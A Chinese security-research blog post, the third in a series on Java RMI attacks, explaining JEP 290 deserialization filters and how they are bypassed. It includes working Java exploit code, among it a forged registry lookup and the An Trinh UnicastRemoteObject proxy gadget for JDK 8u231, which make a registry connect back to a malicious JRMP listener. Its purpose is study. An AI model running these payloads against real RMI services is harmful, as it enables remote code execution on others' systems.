RMI攻击(三)


最后一篇了吧(大概

前两篇介绍了RMI的流程和基础的攻击,这一篇写点进阶的东西

JEP290

JDK6u141JDK7u131JDK 8u121加入了JEP 290限制,JEP 290过滤策略有

进程级过滤器

可以将进程级序列化过滤器作为命令行参数(“-Djdk.serialFilter =”)传递,或将其设置为$JAVA_HOME/conf/security/java.security中的系统属性。

自定义过滤器

可以使用自定义过滤器来重写特定流的进程级过滤器

内置过滤器

JDK分别为RMI注册表和RMI分布式垃圾收集器提供了相应的内置过滤器。这两个过滤器都配置为白名单,即只允许反序列化特定类。

这里我把jdk版本换成jdk1.8.0_111,默认使用内置过滤器。然后直接使用上面的服务端攻击注册中心poc看下,执行完RMI Registry会提示这样的一个错误:

image-20230520171314932

这就是JEP290限制导致的

JEP 290 核心类

JEP 290 涉及的核心类有: ObjectInputStream 类,ObjectInputFilter 接口,Config 静态类以及 Global 静态类。其中 Config 类是 ObjectInputFilter接口的内部类,Global 类又是Config类的内部类。

ObjectInputStream 类

JEP 290 进行过滤的具体实现方法是在 ObjectInputStream 类中增加了一个serialFilter属性和一个 filterChcek 函数,两者搭配来实现过滤的。

构造函数

有两个构造函数,我们需要关注的是在这两个构造函数中都会赋值 serialFilter 字段为 ObjectInputFilter.Config.getSerialFilter():

image-20230520214813392

跟一下可以发现,ObjectInputFilter.Config.getSerialFilter():返回的内容是ObjectInputFilter接口里的一个静态属性

image-20230520214855340

image-20230520214941035

serialFilter 属性

这个属性是ObjectInputFilter类型的,这是一个接口

image-20230520215200219

这个接口又声明了一个 checkInput 方法

image-20230520215304451

filterCheck 函数

image-20230520215423869

看名字就知道这是个负责过滤的方法

它分了三步

第一步,先会判断 serialFilter 属性值是否为空,只有不为空,才会进行后续的过滤操作。

image-20230520215539088

第二步,将我们需要检查的 class ,以及 arryLength等信息封装成一个FilterValues对象,传入到 serialFilter.checkInput 方法中,返回值为 ObjectInputFilter.Status 类型。

image-20230520215620742

最后一步,判断 status 的值,如果 statusnull 或者是 REJECTED 就会抛出异常。

image-20230520215633250

ObjectInputStream 总结

到这里可以知道,serialFilter 属性就可以认为是 JEP 290 中的"过滤器"。过滤的具体逻辑写到 serialFiltercheckInput 方法中,配置过滤器其实就是设置 ObjectInputStream 对象的 serialFilter属性。并且在 ObjectInputStream 构造函数中会赋值 serialFilterObjectInputFilter#Config 静态类的 serialFilter 静态字段。

ObjectInputFilter 接口

JEP 290 中实现过滤的一个最基础的接口,想理解 JEP 290 ,必须要了解这个接口。

在低于 JDK 9 的时候的全限定名是 sun.misc.ObjectInputFIlterJDK 9 及以上是 java.io.ObjectInputFilter

另外低于 JDK 9 的时候,是 getInternalObjectInputFiltersetInternalObjectInputFilterJDK 9 以及以上是 getObjectInputFiltersetObjectInputFIlter

这是它的结构

image-20230520224310006

image-20230520224205442

有一个 checkInput 函数,一个静态类 Config ,一个 FilterInfo 接口,一个 Status 枚举类。

函数式接口

@FunctionalInterface 注解表明, ObjectInputFilter 是一个函数式接口。对于不了解函数式接口的同学,可以参考:https://www.runoob.com/java/java8-functional-interfaces.html 以及 https://www.jianshu.com/p/40f833bf2c48https://juejin.cn/post/6844903892166148110

(我一直觉得这个lambda表达式怪逆天的,为了省两三行代码,把可读性搞得这么差

这里我们其实只需要关心函数式接口怎么赋值,函数式接口的赋值可以是: lambda 表达式或者是方法引用,当然也可以赋值一个实现了这个接口的对象

Config 静态类

Config 静态类是 ObjcectInputFilter 接口的一个内部静态类。

image-20210818120140858

Config#configuredFilter 静态字段

configuredFilter 的赋值操作是在Config类的静态代码块里,所以调用 Config 类的时候就会触发 configuredFilter 字段的赋值。

image-20230520230235320

可以看到会拿到 SERIAL_FILTER_PROPNAME(也就是jdk.serailFilter) 属性值,如果不为空,会返回 createFilter(props)的结果(createFilter 实际返回的是一个 Global 对象)。

jdk.serailFilter 属性值获取的方法用两种,第一种是获取 JVM 的 jdk.serialFilter 属性,第二种通过在 %JAVA_HOME%\conf\security\java.security 文件中指定 jdk.serialFilter 来设置。

Config#createFilter 方法

image-20230520230558359

Config#createFilter 则会进一步调用 Global.createFilter方法,这个方法在介绍 Global 类的时候会说,其实就是将传入的 JEP 290 规则字符串解析到Global对象的 filters 字段上,并且返回这个 Global 对象。

Config 静态类总结

Config会将Config.serialFilter 赋值为一个Global对象,这个Global 对象的filters字段值是jdk.serailFilter属性对应的 Function 列表。(关于 Global 对象介绍下面会说到,大家先有这么一个概念)

image-20230520230905590

ObjectInputStream 的构造函数中,正好取的就是 Config.serialFilter 这个静态字段 , 所以设置了 Config.serialFilter 这个静态字段,就相当于设置了 ObjectInputStream 类全局过滤器

image-20230520214813392

image-20230520214855340

还可以通过配置 JVM 的 jdk.serialFilter 或者 %JAVA_HOME%\conf\security\java.security 文件的 jdk.serialFilter 字段值,来设置 Config.serialFilter ,也就是设置了全局过滤。

另外还有就是一些框架,在开始的时候设置也会设置 Config.serialFilter ,来设置 ObjectInputStream 类的全局过滤。 weblogic 就是,在启动的时候会设置 Config.serialFilterWebLogicObjectInputFilterWrapper 对象。

Global 静态类

Global 静态类是 Config 类中的一个内部静态类。

Global 类的一个重要特征是实现了 ``ObjectInputFilter接口,实现了其中的checkInput方法。所以Global类可以直接赋值到ObjectInputStream.serialFilter` 上。

image-20230520231211756

Global#filters 字段

是一个函数列表。

image-20230520231253842

Global#checkInput 方法

image-20230520231327575

image-20230520231353991

Global 类的 checkInput 会遍历 filters 去检测要反序列化的类。

image-20230520231407212

Global 中的构造函数

构造方法解析相关配置的JEP290规则语法,以;分割将其作为一个个规则,然后添加到 Global.filters

image-20211206184805162

Global#createFilter 方法

传入规则字符串,来实例化一个 Global 对象。

image-20230520231703032

Global 类的总结

Global 实现了ObjectInputFilter接口,所以是可以直接赋值到 ObjectInputStream.serialFilter 上。

Global#filters 字段是一个函数列表。

Global 类中的 chekInput 方法会遍历 Global#filters 的函数,传入需要检查的 FilterValues进行检查(FilterValues 中包含了要检查的 class, arrayLength,以及 depth 等)。

过滤器

在上面总结 ObjectInputStream 类的中说过,配置过滤器其实就是设置 ObjectInputStream 类中的 serialFilter 属性。

过滤器的类型有两种,第一种是通过配置文件或者 JVM 属性来配置的全局过滤器,第二种则是来通过改变 ObjectInputStreamserialFilter 属性来配置的局部过滤器。

全局过滤器

设置全局过滤器,其实就是设置Config静态类的 serialFilter 静态字段值。

具体原因是因为在 ObjectInputStream 的两个构造函数中,都会为 serialFilter 属性赋值为 ObjectInputFilter.Config.getSerialFilter()

ObjectInputFilter.Config.getSerialFilter 就是直接返回 Config#serialFilter

jdk.serailFilter

在介绍 Config 静态类的时候说到,Config 静态类初始化的时候,会解析 jdk.serailFilter 属性设置的 JEP 290 规则到一个 Global 对象的 filters 属性,并且会将这个 Global 对象赋值到 Config 静态类的 serialFilter 属性上。

image-20230520232123483

所以,这里 Config.serialFilter 值默认是解析 jdk.serailFilter 属性得到得到的 Global 对象。

局部过滤器

设置局部过滤器的意思是在 new objectInputStream 对象之后,再通过改变单个 ObjectInputStream 对象的 serialFilter字段值来实现局部过滤。

改变单个 ObjectInputStream 对象的 serialFilter 字段是有两种方法:

1.通过调用 ObjectInputStream 对象的 setInternalObjectInputFilter 方法:

image-20230520232257747

2.通过调用 Config.setObjectInputFilter

image-20230520232514705

这个其实就是通过setObjectInputFilter调到setInternalObjectInputFilter 方法

局部过滤器典型的例子是 RMI 中针对 RegsitryImplDGCImpl有关的过滤。

JEP 290对RMI的限制

在没有JEP 290之前,我们RMI攻击的路线有

客户端攻击注册中心
服务端攻击注册中心
注册中心攻击客户端
服务端攻击客户端
客户端攻击服务端
DGC客户端攻击DGC服务端
DGC服务端攻击DGC客户端
JRMP服务端攻击JRMP客户端

接下来我们看一下JEP 290限制了什么

这里就不跟代码了,直接贴结果

1、RegistryImpl_Skel强制RegistryImpl.checkAccess验证
限制服务端和注册中心必须在同一host,相当于强制将服务端和注册中心绑定在一起,也就没有这两者之间的远程互相攻击了。
2、配置了registry过滤器
RegistryImpl_Skel里面的对象反序列化时会进行白名单校验,内容如下:

if (String.class == clazz
                 || java.lang.Number.class.isAssignableFrom(clazz)
                 || Remote.class.isAssignableFrom(clazz)
                 || java.lang.reflect.Proxy.class.isAssignableFrom(clazz)
                 || UnicastRef.class.isAssignableFrom(clazz)
                 || RMIClientSocketFactory.class.isAssignableFrom(clazz)
                 || RMIServerSocketFactory.class.isAssignableFrom(clazz)
                 || java.rmi.activation.ActivationID.class.isAssignableFrom(clazz)
                 || java.rmi.server.UID.class.isAssignableFrom(clazz)) {
             return ObjectInputFilter.Status.ALLOWED;
         } else {
             return ObjectInputFilter.Status.REJECTED;
         }

也就是白名单有

String / Number / Remote / Proxy / UnicastRef / RMIClientSocketFactory / RMIServerSocketFactory / ActivationID / UID

只要反序列化的类不是白名单中的类,就会返回 REJECTED 操作符,表示序列化流中有不合法的内容,直接抛出异常。

没有任何一条完整的反序列化攻击链能通过这个白名单,这样前面攻击注册中心的方法都失效了。
但RegistryImpl_Stub里面的方法没有过滤,毕竟为了功能正常使用是没办法白名单的,所以注册中心攻击客户端依然可行。

3、配置了DGC过滤器

DGC里的白名单校验更加严格

DGCImpl_Skel和DGCImpl_Stub里面的对象反序列化时会进行白名单校验,内容如下:

return (clazz == ObjID.class ||
                 clazz == UID.class ||
                 clazz == VMID.class ||
                 clazz == Lease.class)
                 ? ObjectInputFilter.Status.ALLOWED
                 : ObjectInputFilter.Status.REJECTED;

这相当于直接断了攻击DGC的路

所以现在,我们还有的攻击路线是

客户端攻击服务端
服务端攻击客户端
注册中心攻击客户端
JRMP服务端攻击JRMP客户端

这四种都是不用变的,但是我们想绕过JEP 290的限制应该怎么做呢?

RMI里的反序列化

既然JEP 290限制了我们反序列化的类,那我们就需要去找这里可以利用的类如何进行反序列化

1. UnicastRemoteObject

java.rmi.server.UnicastRemoteObject 类通常是远程调用接口实现类的父类,或直接使用其静态方法 exportObject 来创建动态代理并随机监听本机端口以提供服务。

因此不难理解,在反序列化此类以及其子类后,依旧需要执行 exportObject 的相关操作,直接来看一下 UnicastRemoteObject 的 readObject 方法:

image-20230521161051772

执行了reexport,又执行了 exportObject 方法。

image-20230521161121475

所以UnicastRemoteObject这个类进行反序列化的时候,就相当于成为了一个JRMP的服务端,然后如果存在恶意的JRMP客户端,就有可能被攻击。

感觉这玩意怪鸡肋的,可能是我水平的问题,感觉和JRMPListener不是很像。JRMPListener是通过恶意JRMP服务端打客户端,但是这个是让自己监听自己的端口,相当于一个服务端,

想了一下,可能是通过UnicastRemoteObject的反序列化,然后让被攻击端发起一个网络请求,变成一个JRMP服务端,然后我们就可以通过恶意的客户端去进行攻击了。UnicastRemoteObject也是Remote的子类,所以能进行反序列化不受影响。但是仅凭这玩意没法绕过JEP 290,因为最主要的还是恶意客户端攻击的时候传的payload

2. UnicastRef

sun.rmi.server.UnicastRef 类实现了 Externalizable 接口,因此在其反序列化时,会调用其 readExternal 方法执行额外的逻辑。

UnicastRef 的 readExternal 方法调用 LiveRef.read(var1, false) 方法来还原成员变量 LiveRef ref 属性。

image-20230521165213006

LiveRef 的 read 方法在创建 LiveRef 对象后,调用 DGCClient 的 registerRefs 方法来将其在环境中进行注册。

image-20230521165339304

调用 DGCClient$EndpointEntry#registerRefs 方法

image-20230521165410161

继续调用 makeDirtyCall 方法

image-20230521165532081

然后就会调用dgc的dirty方法

image-20230521165621111

因此可以看出,在 UnicastRef 进行反序列化时,会触发 DGC 通信及 dirty 方法调用,此时如果与一个恶意服务通信,返回恶意数据流,则会造成反序列化漏洞。

poc

public static void main(String[] args) throws Exception {

    String host = "127.0.0.1";
    int    port = 12233;

    ObjID id  = new ObjID(new Random().nextInt()); // RMI registry
    TCPEndpoint te  = new TCPEndpoint(host, port);
    UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));

    ser(ref);
    unser();
}

image-20230521170202429

3. RemoteObject

RemoteObject 是几乎所有 RMI 远程调用类的父类。这个类也可以用来触发反序列化漏洞。

RemoteObject 的 readObject 方法会先反序列化成员变量 RemoteRef ref ,最后调用其 readExternal 方法,可以用来触发上一条 UnicastRef 链。

1633660408218

因此我们随便找一个 RemoteObject 的子类,在其实例中放入 UnicastRef 对象,反序列化时均可触发利用链。例如如下利用代码,

public static void main(String[] args) throws Exception {

    String host = "127.0.0.1";
    int    port = 12233;

    ObjID id  = new ObjID(new Random().nextInt()); // RMI registry
    TCPEndpoint te  = new TCPEndpoint(host, port);
    UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
    RMIServerImpl_Stub stub = new RMIServerImpl_Stub(ref);

    ser(stub);
    unser();
}

image-20230521170839576

绕过JEP 290

image-20211201211404548

根据我们前面说的,我们可以得到这样一个绕过JEP 290的方法

首先借助RMI原生的、且在白名单里的类,将其作为客户端的参数,然后在注册中心进行反序列化读取的时候,触发JRMP请求,我们可以规定向我们的恶意JRMP服务端进行请求,这样就可以实现对JEP 290的绕过

服务端代码不变

客户端为

public class RMIClient {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1098);
        //unicastref构造反序列化
        String host = "127.0.0.1";
        int    port = 12233;
        ObjID id  = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te  = new TCPEndpoint(host, port);
        UnicastRef ref1 = new UnicastRef(new LiveRef(id, te, false));
        RMIServerImpl_Stub stub = new RMIServerImpl_Stub(ref1);

        //获取ref
        Class<?> RO = Class.forName("java.rmi.server.RemoteObject");
        Field declaredField = RO.getDeclaredField("ref");
        declaredField.setAccessible(true);
        RemoteRef ref0 = (RemoteRef)declaredField.get(registry);
        //获取 operations
        Class<?> RegistryImpl_Stub = Class.forName("sun.rmi.registry.RegistryImpl_Stub");
        Field operations_field = RegistryImpl_Stub.getDeclaredField("operations");
        operations_field.setAccessible(true);
        Operation[] operations = (Operation[])operations_field.get(registry);

//伪造lookup
        RemoteCall var2 = ref0.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(stub);
        ref0.invoke(var2);
    }

image-20230521181302761

image-20230521181134141

JDK8u231

没环境了,照抄了(

修复

而在jdk8u231中,RMI又增加了新的安全措施。
首先是对注册中心进行了加固,更新后的RegistryImpl_Skel#dispatch

case 2: // lookup(String)
{
    java.lang.String $param_String_1;
    try {
        java.io.ObjectInput in = call.getInputStream();
        $param_String_1 = (java.lang.String) in.readObject();
    } catch (ClassCastException | IOException | ClassNotFoundException e) {
        call.discardPendingRefs();
        throw new java.rmi.UnmarshalException("error unmarshalling arguments", e);
    } finally {
        call.releaseInputStream();
    }
    java.rmi.Remote $result = server.lookup($param_String_1);
    try {
        java.io.ObjectOutput out = call.getResultStream(true);
        out.writeObject($result);
    } catch (java.io.IOException e) {
        throw new java.rmi.MarshalException("error marshalling return", e);
    }
    break;
}
......

可以和8u231之前的比较一下

image-20230521182330772

其实就多了一行 call.discardPendingRefs();,但是这个方法会在反序列化出错之后把incomingRefTable清空。那么在ConnectionInputStream#registerRefs就进不去ConnectionInputStream#registerRefs了。而且由于我们是自己重写的lookup,传的是个Object类型而不是String,所以在强转的时候一定会进catch里的

image-20230521182655046

还有一处修复在DGCImpl_Stub

public void clean(java.rmi.server.ObjID[] $param_arrayOf_ObjID_1, long $param_long_2, java.rmi.dgc.VMID $param_VMID_3, boolean $param_boolean_4)
            throws java.rmi.RemoteException {
        try {
            StreamRemoteCall call = (StreamRemoteCall)ref.newCall((java.rmi.server.RemoteObject) this,
                    operations, 0, interfaceHash);
            call.setObjectInputFilter(DGCImpl_Stub::leaseFilter);
            try {
                java.io.ObjectOutput out = call.getOutputStream();
                out.writeObject($param_arrayOf_ObjID_1);
                out.writeLong($param_long_2);
                out.writeObject($param_VMID_3);
                out.writeBoolean($param_boolean_4);
            } catch (java.io.IOException e) {
                throw new java.rmi.MarshalException("error marshalling arguments", e);
            }
            ref.invoke(call);
            ref.done(call);
        } catch (java.lang.RuntimeException e) {
            throw e;
        } catch (java.rmi.RemoteException e) {
            throw e;
        } catch (java.lang.Exception e) {
            throw new java.rmi.UnexpectedException("undeclared checked exception", e);
        }
    }

    // implementation of dirty(ObjID[], long, Lease)
    public java.rmi.dgc.Lease dirty(java.rmi.server.ObjID[] $param_arrayOf_ObjID_1, long $param_long_2, java.rmi.dgc.Lease $param_Lease_3)
            throws java.rmi.RemoteException {
        try {
            StreamRemoteCall call =
                    (StreamRemoteCall)ref.newCall((java.rmi.server.RemoteObject) this,
                            operations, 1, interfaceHash);
            call.setObjectInputFilter(DGCImpl_Stub::leaseFilter);
            try {
                java.io.ObjectOutput out = call.getOutputStream();
                out.writeObject($param_arrayOf_ObjID_1);
                out.writeLong($param_long_2);
                out.writeObject($param_Lease_3);
            } catch (java.io.IOException e) {
                throw new java.rmi.MarshalException("error marshalling arguments", e);
            }
            ref.invoke(call);
            java.rmi.dgc.Lease $result;
            Connection connection = call.getConnection();
            try {
                java.io.ObjectInput in = call.getInputStream();

                $result = (java.rmi.dgc.Lease) in.readObject();
            } catch (ClassCastException | IOException | ClassNotFoundException e) {
                if (connection instanceof TCPConnection) {
                    // Modified to prevent re-use of the connection after an exception
                    ((TCPConnection) connection).getChannel().free(connection, false);
                }
                call.discardPendingRefs();
                throw new java.rmi.UnmarshalException("error unmarshalling return", e);
            } finally {
                ref.done(call);
            }
            return $result;
        } catch (java.lang.RuntimeException e) {
            throw e;
        } catch (java.rmi.RemoteException e) {
            throw e;
        } catch (java.lang.Exception e) {
            throw new java.rmi.UnexpectedException("undeclared checked exception", e);
        }
    }

和之前的比一下

image-20230521182935214

可以看到它把setObjectInputFilter方法提前了,在旧版本中,我们攻击JRMP客户端的时候直接调用了ref.invoke(call);去触发反序列化,对于后面的过滤器可以不用考虑,但是现在过滤器在我们的反序列化之前了。

这对于之前的JRMP攻击方式来说都是致命的

绕过

从前面的分析可以知道,如果想在不知道远程接口的情况想攻击注册中心/服务端,目前能控制的最大范围就是注册中心和DGC的filter里面限制的几个类。

这里绕过思路很容易想到,思路大致是:在RegistryImpl_Skel#dispatch反序列化时(还没反序列化完,绕过报错),在这里就发出JRMP请求,不需要后面的releaseInputStream,同时也不需要在DGC客户端的ConnectionInputStream中完成readObject,而是另起一道来执行(绕过DGC层过滤)。

但是真正去找这么一条利用链是很困难的。我们要先看一下白名单有哪些可以用:
1、RegistryImpl_Skel,允许Remote/UnicastRef/RMIClientSocketFactory/RMIServerSocketFactory/ActivationID/UID
2、DGCImpl_Skel,允许ObjID/UID/VMID/Lease
看看这些类哪些是可以序列化并且重写了readObject/readExternal之类改变调用流程的,找了下有这些:
UnicastRef
UnicastRef2
UnicastServerRef
ActivationID
RemoteObject
UnicastRemoteObject

这里我直接说了,在JDK8u231的情况下,采用的是UnicastRemoteObject实现的反序列化绕过

这是一条由国外的An Trinh师傅提出来的攻击方法,原文在[这篇文章][An Trinhs RMI Registry Bypass | MOGWAI LABShttps://mogwailabs.de/en/blog/2020/02/an-trinhs-rmi-registry-bypass/)]里

这个payload会在readobject函数调用过程直接触发JRMP请求

在8u231之前,我们的反序列化攻击的流程是

  1. readobject反序列化的过程会递归反序列化我们的对象,一直反序列化到我们的UnicastRef类。
  2. 在readobejct反序列化的过程中填装UnicastRef类到incomingRefTable
  3. 在releaseInputStream语句中从incomingRefTable中读取ref进行开始JRMP请求

而An Trinh这条利用链的攻击流程是

  1. readobject递归反序列化到payload对象中的UnicastRef对象,填装UnicastRef对象的ref到incomingRefTable
  2. 在根据readobject的第二个最著名的特性:会调用对象自实现的readobject方法,会执行UnicastRemoteObject的readObject,An Trinh的Gadgets会在这里触发一次JRMP请求
  3. 在releaseInputStream语句中从incomingRefTable中读取ref进行开始JRMP请求

这个利用链的开始点是UnicastRemoteObject的readObject方法。和我们之前说的在RMI里的反序列化那章的UnicastRemoteObject不同,这里在调用reexport后,对ssf进行了填充

因此会进入else里的exportObject

image-20230521204325976

然后遇见exportObject就往里跟,最后会发现调用了TCPTransport的exportObject方法,其中又调用了listen方法

image-20230521204524317

listen里调用了TCPEndpoint类的newServerSocket方法

image-20230521204702729

在这里,他调用了我们ssf的createServerSocket方法

image-20230521204831307

那假如我们这里的ssf是个代理类,就可以先进入代理类的invoke方法了

要知道,我们绕这么一大圈,最后还是要走UnicastRef#invoke->StreamRemoteCall#executeCall->注册中心/服务端攻击客户端这条路

这里的这个代理类就是RemoteObjectInvocationHandler

为什么选这个类呢,因为重载了我们之前用的UnicastRef的invoke方法

image-20230521210125014

在重载后的这个invoke里,同样调用了executeCall

image-20230521205832911

从分析里就能看出来,这个只需要把ssf设置成一个代理RMIServerSocketFactory接口的动态代理,里面放RemoteObjectInvocationHandler,调用这里时最终就触发了executeCall

不过在在之后还有一个问题

就是在RegistryImpl_Stub的方法里调用了writeObject,而writeObject里有个判断

image-20230521230608649

如果enableReplace为true。

img

检测我们要序列化的obj,是否实现Remote/RemoteStub,由于UnicastRemoteObject实现了Remote,没有实现RemoteStub,于是会进入判断,就会替换我们的obj,以至于反序列化的时候不能还原我们构造的类。

所以,需要把enableReplace改为false。

(这是https://www.anquanke.com/post/id/211722#h3-5这篇文章的代码图,但是我本地的8u231版本里的writeObject并不长这样,而且调试的时候enableReplace本来就是false,很怪,但是由于没有找到原因,所以我选择相信这篇文章,可能是因为我没有231的源码所以调试的时候出了点问题

抄一个exp,这个原本是重写了bind方法的,我试着重写了lookup方法,也能触发

public class BypassJEP290ByUnicastRemoteObject {
    public static void main(String[] args) throws Exception {
        UnicastRemoteObject payload = getPayload();
        Registry registry = LocateRegistry.getRegistry(1098);
//        bindReflection("pwn", payload, registry);
        lookupReflection(payload, registry);
    }

    static UnicastRemoteObject getPayload() throws Exception {
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint("localhost", 12233);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));

        System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles", "true");
        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
        RMIServerSocketFactory factory = (RMIServerSocketFactory) Proxy.newProxyInstance(
                handler.getClass().getClassLoader(),
                new Class[]{RMIServerSocketFactory.class, Remote.class},
                handler
        );

        Constructor<UnicastRemoteObject> constructor = UnicastRemoteObject.class.getDeclaredConstructor();
        constructor.setAccessible(true);
        UnicastRemoteObject unicastRemoteObject = constructor.newInstance();

        Field field_ssf = UnicastRemoteObject.class.getDeclaredField("ssf");
        field_ssf.setAccessible(true);
        field_ssf.set(unicastRemoteObject, factory);

        return unicastRemoteObject;
    }

    static void bindReflection(String name, Object obj, Registry registry) throws Exception {
        Field ref_filed = RemoteObject.class.getDeclaredField("ref");
        ref_filed.setAccessible(true);
        UnicastRef ref = (UnicastRef) ref_filed.get(registry);

        Field operations_filed = RegistryImpl_Stub.class.getDeclaredField("operations");
        operations_filed.setAccessible(true);
        Operation[] operations = (Operation[]) operations_filed.get(registry);

        RemoteCall remoteCall = ref.newCall((RemoteObject) registry, operations, 0, 4905912898345647071L);
        ObjectOutput outputStream = remoteCall.getOutputStream();

        Field enableReplace_filed = ObjectOutputStream.class.getDeclaredField("enableReplace");
        enableReplace_filed.setAccessible(true);
        enableReplace_filed.setBoolean(outputStream, false);

        outputStream.writeObject(name);
        outputStream.writeObject(obj);

        ref.invoke(remoteCall);
        ref.done(remoteCall);
    }
    static void lookupReflection(Object obj, Registry registry) throws Exception {
        Class<?> RO = Class.forName("java.rmi.server.RemoteObject");
        Field declaredField = RO.getDeclaredField("ref");
        declaredField.setAccessible(true);
        RemoteRef ref0 = (RemoteRef) declaredField.get(registry);
        //获取 operations
        Class<?> RegistryImpl_Stub = Class.forName("sun.rmi.registry.RegistryImpl_Stub");
        Field operations_field = RegistryImpl_Stub.getDeclaredField("operations");
        operations_field.setAccessible(true);
        Operation[] operations = (Operation[]) operations_field.get(registry);
//伪造lookup
        RemoteCall var2 = ref0.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        Field enableReplace_filed = ObjectOutputStream.class.getDeclaredField("enableReplace");
        enableReplace_filed.setAccessible(true);
        enableReplace_filed.setBoolean(var3, false);
        var3.writeObject(obj);
        ref0.invoke(var2);
    }
}

image-20230521232049898

补充

另外还有一点关于JEP 290绕过方式的补充

在JDK8u231之前,用那个payload打注册中心,会有一个现象,就是当客户端发送完请求之后,服务端会在经过一段时间后就弹一个计算器出来。

这是由于DGCClient#registerRefs,可以看到这是个循环,如果epEntry.registerRefs返回的是false,就会一直卡在这个循环里

其实这里是一个DGC客户端不断向DGC服务端汇报远程对象ref的存活状况,当ref不存在时,该方法的返回值就会是true了,然后就会跳出循环。这样就会造成一个有趣的现象:DGC客户端以一定的时间间隔向DGC服务端(恶意的JRMP服务端)发起请求,类似TCP连接的心跳包,又类似一个不死马,受攻击的DGC客户端(这里是Registry端)会以同频的时间间隔不断弹出计算器。

image-20230521232639466

调用栈

readObject:431, ObjectInputStream (java.io)
executeCall:252, StreamRemoteCall (sun.rmi.transport)
invoke:161, UnicastRef (sun.rmi.server)
invokeRemoteMethod:227, RemoteObjectInvocationHandler (java.rmi.server)
invoke:179, RemoteObjectInvocationHandler (java.rmi.server)
createServerSocket:-1, $Proxy0 (com.sun.proxy)
newServerSocket:666, TCPEndpoint (sun.rmi.transport.tcp)
listen:335, TCPTransport (sun.rmi.transport.tcp)
exportObject:254, TCPTransport (sun.rmi.transport.tcp)
...
exportObject:346, UnicastRemoteObject (java.rmi.server)
reexport:268, UnicastRemoteObject (java.rmi.server)
readObject:235, UnicastRemoteObject (java.rmi.server)

JDK8u241修复

在调用UnicastRef.invoke之前声明方法的类,必须要实现Remote接口,然而这里的RMIServerSocketFactory并没有实现,于是无法进入到invoke方法,直接抛出错误。

抬走了,等一手0day

总结

虽然写完了,但实际上还有许多细节的部分有点不懂,RMI的东西实在是有点多而且繁琐,这三篇也只能算个基础,还要去学JNDI注入之类的。而且还有一些关于RMI攻击的工具没有用过,比如RMIScout、BaRMIe、ysomap等,还是以后用到了再补吧。比如对于绕过JEP290的方式中,触发反序列化具体的路径是哪里之类的,因为有点懒所以并没有仔细的跟过(补上了,还有就是感谢互联网的共享精神(,感觉这三篇rmi里,有一篇半都是照抄别人的内容。

最后偷张图

20200702100127-f0d4c18c-bc07-1

补充

补一下触发反序列化的地方

绕过JDK8u231的payload反序列化触发点是

image-20230522093912129

从RegistryImpl_Skel里的这个readObject直接跳到UnicastRemoteObject

然后会走我们在前边写的从UnicastRemoteObject到UnicastRef.Invoke的路线,在invoke里的这行会触发一个jrmp请求,

image-20230522102823178

然后就会把从恶意服务端请求回来的结果传进StreamRemoteCall#executeCall,实现攻击的目的

image-20230522102939678

而在在JDK8U231之前绕过JEP290的触发点同样也是从RegistryImpl_Skel开始的

首先是从in.readObject,在这里面会让incomingRefTable的值不为空,然后进入call.releaseInputStream里,去触发我们之前写的UnicastRef的反序列化路线

image-20230522104237433

最终在DGCImpl_Stub#dirty里发起了一个jrmp请求

image-20230522104407951

然后同样是把从恶意服务端返回来的东西调到传进UnicastRef#Invoke,然后再进入StreamRemoteCall#executeCall,实现攻击的目的

参考文章

https://paper.seebug.org/1689/ (前两部分基本上都抄的这个

RMI反序列化漏洞之三顾茅庐-JEP290绕过 | Halfblue(UnicastRef的反序列化的部分细节可以看这个

https://su18.org/post/rmi-attack/(反序列化部分都抄的这个

https://xz.aliyun.com/t/7932

https://www.anquanke.com/post/id/211722

https://yagsheg.com/2021/11/29/RMI-%E6%94%BB%E5%87%BB%E6%96%B9%E5%BC%8F%E5%A4%8D%E7%9B%98%E6%80%BB%E7%BB%93


文章作者: Ethe
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Ethe !
评论
  目录